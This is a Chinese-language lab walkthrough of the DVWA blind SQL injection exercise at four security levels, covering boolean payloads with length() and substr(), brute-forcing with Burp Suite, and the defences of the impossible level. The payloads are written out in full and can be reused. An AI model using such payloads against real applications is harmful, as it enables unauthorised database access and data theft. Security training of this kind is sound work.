第八关:SQL Injection (Blind)
low
这一关是盲注, 所以不能用联合查询了,只能靠一点一点手动盲猜了

这里用到length和substr函数
先猜数据库名长度
1' and length(database())=1#
用bp抓包,发送到爆破

选择攻击位置

库名长度应该不会超过五十,所以设置从1到50,增量1
可以知道,库名长度就是4
知道了长度, 然后就是爆出库名
1' and substr((select database()),1,1)='a'#
同样的方法爆破库名的第一个字母是d

直接选择这两个攻击位置会更快,
1' and substr((select database()),$1$,1)='$a$'#
得出库名为dvwa
接下来猜表名长度
1' and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))=1#
得出长度为15,其中包括了逗号,因为group_concat是用逗号把各个表名连接起来的

接着爆破表名
1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='a'#
得出表名有:guestbook,users
然后是爆出列名
1' and length((select group_concat(column_name) from information_schema.columns where table_name='users'))=1#
1' and substr((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='a'#

medium
下拉表单,选择一个数,用burp suite抓包,

修改id的参数id=1 and 1=1 存在
id=1 and 1=2,不存在,说明是数字型
根据low我们已经知道数据库名叫dvwa了,长度为4,我们验证一下,没错

high
输入1 and 1=1, 存在

输入1 and 1=2,也存在,说明不是数字型

输入1' and 1=1#,存在
输入1' and 1=2#,不存在,说明是字符型

验证数据库名长度为4,与上面的操作相同

impossible

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入;
同时只有返回的查询结果数量为1时,才会输出;
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句,
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过

















![[pyqt5]designer设计界面设计工具栏上图标和文字同时显示](https://img-blog.csdnimg.cn/d14bc2d1a5f44cbda66c57fde2451c55.jpeg)

